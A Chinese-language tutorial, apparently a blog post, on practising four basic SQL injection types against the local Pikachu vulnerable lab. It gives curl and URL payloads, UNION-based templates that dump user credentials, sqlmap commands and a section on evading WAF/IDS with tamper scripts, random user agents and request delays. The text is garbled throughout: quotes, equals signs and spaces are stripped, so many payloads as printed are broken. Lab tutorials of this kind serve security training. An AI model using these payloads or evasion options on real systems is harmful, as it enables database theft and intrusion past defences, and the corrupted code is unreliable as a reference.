SQL注入实战指南:4种基础注入类型深度对比与Pikachu靶场演练

发布时间:2026/8/5 7:11:52
SQL注入实战指南:4种基础注入类型深度对比与Pikachu靶场演练
SQL注入 · 4种基础注入类型对比笔记本文基于 Pikachu 靶场详细对比了数字型、字符型、搜索型和 XX型四种基础 SQL 注入类型的原理、Payload 构造、实战步骤与踩坑记录并提供了通用 Payload 模板和 SQLMap 自动化速查适合 Web 安全初学者快速上手。 实战环境Pikachu 靶场本地http://localhost/pikachu/数据库MariaDB 11.8.6一、总体流程通用步骤确认注入点 → 判断注入类型 → 猜字段数 → 找回显位 → 查数据库名 → 查表名 → 查列名 → 查数据步骤目的常用方法1. 确认注入证明用户输入被拼接到SQL中单引号/ 逻辑真AND 11/ 逻辑假AND 122. 猜字段数UNION SELECT要求前后字段数相同ORDER BY n逐个测试3. 找回显位确定哪个位置能显示自定义数据UNION SELECT 1,2,34. 查数据库名获取当前数据库名称database()5. 查表名获取数据库中的所有表information_schema.tables6. 查列名获取目标表的所有列information_schema.columns7. 查数据获取用户名和密码SELECT username,password FROM users二、4种注入类型对比2.1 数字型注入POST项目说明入口http://localhost/pikachu/vul/sqli/sqli_id.php请求方式POST参数在请求体中后端SQLSELECT * FROM users WHERE id 1;参数特征纯数字无引号包裹字段数2确认注入确认注入# 正常请求验证基础功能curl-s-XPOSThttp://.../sqli_id.php-did1submit查询# 添加单引号触发SQL语法错误以确认注入点curl-s-XPOSThttp://.../sqli_id.php-did1submit查询# 逻辑真测试页面应正常显示数据curl-s-XPOSThttp://.../sqli_id.php-did1 and 11submit查询# 逻辑假测试页面应无数据返回curl-s-XPOSThttp://.../sqli_id.php-did1 and 12submit查询#### 猜字段数bash# 测试字段数是否为1curl-s-XPOSThttp://.../sqli_id.php-did1 ORDER BY 1submit查询# 正常# 测试字段数是否为2curl-s-XPOSThttp://.../sqli_id.php-did1 ORDER BY 2submit查询# 正常# 测试字段数是否为3报错则确认字段数为2curl-s-XPOSThttp://.../sqli_id.php-did1 ORDER BY 3submit查询# 报错 → 字段数2找回显位 查数据# 确定回显位置第1、2位curl-s-XPOSThttp://.../sqli_id.php-did-1 UNION SELECT 1,2submit查询# 获取当前数据库名显示在回显位curl-s-XPOSThttp://.../sqli_id.php-did-1 UNION SELECT database(),2submit查询# 查询所有表名MariaDB 11.x可能限制information_schema手动查询curl-s-XPOSThttp://.../sqli_id.php\-did-1 UNION SELECT group_concat(table_name),2 FROM information_schema.tables WHERE table_schemadatabase()submit查询# 查询users表的列名curl-s-XPOSThttp://.../sqli_id.php\-did-1 UNION SELECT group_concat(column_name),2 FROM information_schema.columns WHERE table_nameuserssubmit查询# 直接获取users表的所有用户名和密码curl-s-XPOSThttp://.../sqli_id.php\-did-1 UNION SELECT group_concat(username),group_concat(password) FROM userssubmit查询#### 踩坑记录- **MariaDB11.x 限制**information_schema手动查询无返回需用 SQLMap 自动化工具 - **SQLMap 解决方案**bash sqlmap-uhttp://.../sqli_id.php--dataid1submit查询-Dpikachu-Tusers--dump--batch2.2 字符型注入GET项目说明入口http://localhost/pikachu/vul/sqli/sqli_str.php请求方式GET参数在URL中后端SQLSELECT * FROM users WHERE name kobe;参数特征被单引号 包裹字段数2核心区别需要闭合引号 注释操作Payload拼接后的SQL确认注入kobeWHERE name kobe→ 报错恢复正常kobe--WHERE name kobe--→ 注释掉后面的引号逻辑真kobe AND 11--WHERE name kobe AND 11--逻辑假kobe AND 12--WHERE name kobe AND 12--完整URL示例# 确认注入添加单引号触发SQL错误http://localhost/pikachu/vul/sqli/sqli_str.php?namekobesubmit查询 # 闭合引号并注释恢复正常查询 http://localhost/pikachu/vul/sqli/sqli_str.php?namekobe--submit查询# 猜字段数测试ORDER BY 2http://localhost/pikachu/vul/sqli/sqli_str.php?namekobe ORDER BY 2--submit查询 # 正常 # 猜字段数测试ORDER BY 3 http://localhost/pikachu/vul/sqli/sqli_str.php?namekobeORDER BY3--submit查询# 报错# 找回显位使用UNION SELECT确定显示位置http://localhost/pikachu/vul/sqli/sqli_str.php?name-kobe UNION SELECT 1,2--submit查询 # 查数据库名获取当前数据库名称 http://localhost/pikachu/vul/sqli/sqli_str.php?name-kobeUNION SELECT database(),2--submit查询# 查表名获取数据库中的所有表http://localhost/pikachu/vul/sqli/sqli_str.php?name-kobe \ UNION SELECT group_concat(table_name),2 \ FROM information_schema.tables \ WHERE table_schemadatabase()--submit查询 # 查数据一步到位直接获取用户名和密码 http://localhost/pikachu/vul/sqli/sqli_str.php?name-kobe\UNION SELECT group_concat(username),group_concat(password)\FROM users--submit查询踩坑记录必须加submit查询后端 PHP 检查$_GET[submit]是否存在-kobe让原查询为空确保 UNION 结果不被原数据干扰2.3 搜索型注入项目说明入口http://localhost/pikachu/vul/sqli/sqli_search.php请求方式GET后端SQLSELECT * FROM users WHERE name LIKE %kobe%;参数特征被%和单引号% %包裹LIKE模糊查询字段数3submit值搜索不是查询核心区别需要闭合%操作Payload拼接后的SQL确认注入kobe%WHERE name LIKE %kobe%→ 报错恢复正常kobe%--WHERE name LIKE %kobe%--→ 注释掉后面的%UNION查询% UNION SELECT 1,2,3--WHERE name LIKE %% UNION SELECT 1,2,3--%完整URL示例# 确认注入闭合%并注释http://localhost/pikachu/vul/sqli/sqli_search.php?namekobe%--submit搜索 # 猜字段数测试ORDER BY 3 http://localhost/pikachu/vul/sqli/sqli_search.php?namekobe%ORDER BY3--submit搜索# 正常# 猜字段数测试ORDER BY 4http://localhost/pikachu/vul/sqli/sqli_search.php?namekobe% ORDER BY 4--submit搜索 # 报错 → 字段数3 # 找回显位3个回显位 http://localhost/pikachu/vul/sqli/sqli_search.php?namekobe%UNION SELECT1,2,3--submit搜索# 查数据库名http://localhost/pikachu/vul/sqli/sqli_search.php?namekobe% UNION SELECT database(),2,3--submit搜索 # 查数据一步到位 http://localhost/pikachu/vul/sqli/sqli_search.php?namekobe%\UNION SELECT group_concat(username),group_concat(password),3\FROM users--submit搜索踩坑记录submit 值是搜索不是查询字段数是 3不是 2回显位username第1位、uid第2位、email第3位2.4 XX型注入项目说明入口http://localhost/pikachu/vul/sqli/sqli_x.php请求方式GET后端SQLSELECT * FROM users WHERE name (kobe);参数特征被单引号括号()包裹字段数2核心区别需要闭合(操作Payload拼接后的SQL确认注入kobe)WHERE name (kobe)→ 报错恢复正常kobe)--WHERE name (kobe)--→ 注释掉后面的)UNION查询kobe) UNION SELECT 1,2--WHERE name (kobe) UNION SELECT 1,2--)完整URL示例# 确认注入http://localhost/pikachu/vul/sqli/sqli_x.php?namekobe)--submit查询 # 猜字段数 http://localhost/pikachu/vul/sqli/sqli_x.php?namekobe)ORDER BY2--submit查询# 正常http://localhost/pikachu/vul/sqli/sqli_x.php?namekobe) ORDER BY 3--submit查询 # 报错 → 字段数2 # 查数据一步到位 http://localhost/pikachu/vul/sqli/sqli_x.php?namekobe)UNION SELECT group_concat(username),group_concat(password)FROM users--submit查询三、4种类型核心对比表对比项数字型字符型搜索型XX型请求方式POSTGETGETGET后端SQLWHERE id 1WHERE name kobeWHERE name LIKE %kobe%WHERE name (kobe)闭合方式无需闭合闭合引号%闭合%)闭合(注释符不需要------字段数2232submit值查询查询搜索查询Payload前缀id-1name-kobenamekobe%namekobe)information_schema受限MariaDB 11.x正常正常正常四、通用Payload模板4.1 确认注入 -- 触发报错 -- -- 闭合注释恢复正常 AND 11-- -- 逻辑真 AND12-- -- 逻辑假4.2 猜字段数 ORDER BY 1-- -- 正常则继续 ORDERBY2-- -- 正常则继续ORDERBY3-- -- 报错则字段数24.3 找回显位-1 UNION SELECT 1,2-- -- 2个字段 -1UNIONSELECT1,2,3-- -- 3个字段4.4 查数据库名-1UNIONSELECTdatabase(),2--4.5 查表名-1UNIONSELECTgroup_concat(table_name),2FROMinformation_schema.tablesWHEREtable_schemadatabase()--4.6 查列名-1 UNION SELECT group_concat(column_name),2 FROM information_schema.columns WHERE table_nameusers--4.7 查数据一步到位-1UNIONSELECTgroup_concat(username),group_concat(password)FROMusers--五、踩坑记录汇总#踩坑点解决方案1MariaDB 11.xinformation_schema手动查询无返回使用 SQLMap 自动化工具2忘记加submit查询确认表单按钮的值必须带上3搜索型submit值是搜索不是查询查看页面按钮文字4字符型用a测试 ORDER BY但a不在数据库中用确定存在的用户名如kobe5--注释不生效尝试#URL编码%23或--注意空格6UNION 结果和原查询混在一起用-1或不存在的数据让原查询为空7group_concat结果太长被截断用LIMIT n,1分段查询六、SQLMap 自动化速查安装sudoaptinstallsqlmap-y基础命令# 检测注入点sqlmap-uhttp://.../sqli_str.php?namekobe--batch# 获取数据库名sqlmap-uhttp://.../sqli_str.php?namekobe--dbs--batch# 获取表名sqlmap-uhttp://.../sqli_str.php?namekobe-Dpikachu--tables--batch# 获取列名sqlmap-uhttp://.../sqli_str.php?namekobe-Dpikachu-Tusers--columns--batch# 获取数据sqlmap-uhttp://.../sqli_str.php?namekobe-Dpikachu-Tusers--dump--batchPOST 型注入sqlmap-uhttp://.../sqli_id.php--dataid1submit查询--batch绕过 WAF/IDS当目标网站部署了 Web 应用防火墙WAF或入侵检测系统IDS时SQLMap 的默认请求可能被拦截。以下是一些常用绕过参数1.--tamper使用脚本绕过过滤说明通过内置或自定义的 tamper 脚本对 Payload 进行编码、混淆绕过常见过滤规则。使用场景目标对单引号、空格、UNION 等关键词进行了过滤或替换。示例命令# 使用多个 tamper 脚本组合绕过sqlmap-uhttp://.../sqli_str.php?namekobe--tamperspace2comment,charencode--batch# 常用 tamper 脚本# - space2comment将空格替换为 /**/# - charencode对 Payload 进行 URL 编码# - between用 BETWEEN 替换大于号# - randomcase随机大小写2.--random-agent随机 User-Agent说明每次请求使用随机的 User-Agent 头避免被基于固定 UA 的规则拦截。使用场景WAF/IDS 通过识别 sqlmap 默认 UA 进行拦截。示例命令sqlmap-uhttp://.../sqli_str.php?namekobe--random-agent--batch3.--delay和--time-sec控制请求频率说明--delay设置每个 HTTP 请求之间的延迟秒避免触发频率限制。--time-sec设置 DBMS 响应的延迟时间秒用于时间盲注。使用场景目标有请求频率限制或需要时间盲注绕过。示例命令# 设置 2 秒延迟避免触发 WAF 频率限制sqlmap-uhttp://.../sqli_str.php?namekobe--delay2--batch# 时间盲注设置响应延迟判断为 5 秒sqlmap-uhttp://.../sqli_str.php?namekobe--time-sec5--batch4.--level和--risk调整检测强度说明--level检测等级1-5等级越高测试的 Payload 和参数越多。--risk风险等级1-3等级越高使用越危险的测试语句。使用场景默认检测不到注入点时提高检测强度或需要测试危险语句时提高风险等级。示例命令# 提高检测等级和风险等级sqlmap-uhttp://.../sqli_str.php?namekobe--level3--risk2--batch# 针对 Cookie 注入点需要 level2 才会检测sqlmap-uhttp://.../sqli_str.php--cookieid1--level2--batch组合使用示例# 综合使用多个绕过参数sqlmap-uhttp://.../sqli_str.php?namekobe\--tamperspace2comment,charencode\--random-agent\--delay1\--level3\--risk2\--batch实战环境Kali Linux 2026.2 Pikachu 靶场 MariaDB 11.8.6